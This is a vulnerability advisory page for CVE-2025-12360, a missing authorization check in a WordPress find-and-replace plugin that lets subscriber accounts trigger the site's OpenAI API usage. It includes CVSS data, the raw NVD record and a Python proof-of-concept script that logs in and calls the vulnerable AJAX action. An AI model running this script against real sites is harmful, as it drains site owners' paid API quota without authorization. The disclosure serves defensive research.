Security Vulnerability Report
中文
CVE-2025-12360 CVSS 4.3 MEDIUM

CVE-2025-12360

Published: 2025-11-06 08:15:39
Last Modified: 2026-04-15 00:35:42

Description

The Better Find and Replace – AI-Powered Suggestions plugin for WordPress is vulnerable to unauthorized API usage due to a missing capability check on the rtafar_ajax() function in all versions up to, and including, 1.7.7. This makes it possible for authenticated attackers, with Subscriber-level access, to trigger OpenAI API key usage resulting in quota consumption potentially incurring cost.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Better Find and Replace Plugin (WordPress插件) <= 1.7.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-12360 PoC - Better Find and Replace Plugin Unauthorized API Usage This PoC demonstrates the vulnerability where any authenticated user can trigger OpenAI API calls. """ import requests import sys def exploit_cve_2025_12360(target_url, username, password): """ Exploit the missing capability check in rtafar_ajax() function. Args: target_url: Target WordPress site URL username: WordPress subscriber account username password: WordPress account password """ session = requests.Session() # Step 1: Login to WordPress as subscriber login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } print(f"[*] Logging in as subscriber user: {username}") response = session.post(login_url, data=login_data, allow_redirects=False) if 'wordpress_logged_in' not in session.cookies: print("[-] Login failed!") return False print("[+] Login successful!") # Step 2: Trigger the vulnerable AJAX endpoint ajax_url = f"{target_url}/wp-admin/admin-ajax.php" exploit_data = { 'action': 'rtafar_ajax', 'task': 'ai_replace', # Example task that triggers OpenAI API 'search_term': 'test', 'replace_term': 'exploit' } print(f"[*] Sending exploit request to {ajax_url}") response = session.post(ajax_url, data=exploit_data) # Step 3: Check response if response.status_code == 200: print(f"[+] Request sent successfully!") print(f"[*] Response: {response.text[:200]}") print("[*] Note: Each request consumes OpenAI API quota and may incur costs.") return True else: print(f"[-] Request failed with status code: {response.status_code}") return False if __name__ == "__main__": if len(sys.argv) != 5: print(f"Usage: python3 {sys.argv[0]} <target_url> <username> <password>") print(f"Example: python3 {sys.argv[0]} http://example.com subscriber password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_cve_2025_12360(target, user, pwd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12360", "sourceIdentifier": "[email protected]", "published": "2025-11-06T08:15:38.720", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Better Find and Replace – AI-Powered Suggestions plugin for WordPress is vulnerable to unauthorized API usage due to a missing capability check on the rtafar_ajax() function in all versions up to, and including, 1.7.7. This makes it possible for authenticated attackers, with Subscriber-level access, to trigger OpenAI API key usage resulting in quota consumption potentially incurring cost."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-285"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/real-time-auto-find-and-replace/trunk/core/actions/RTAFAR_CustomAjax.php#L31", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3389979/real-time-auto-find-and-replace/trunk/core/actions/RTAFAR_CustomAjax.php?contextall=1&old=3343531&old_path=%2Freal-time-auto-find-and-replace%2Ftrunk%2Fcore%2Factions%2FRTAFAR_CustomAjax.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/757e41dd-d72f-4e87-a087-c5c38bd727e5?source=cve", "source": "[email protected]"}]}}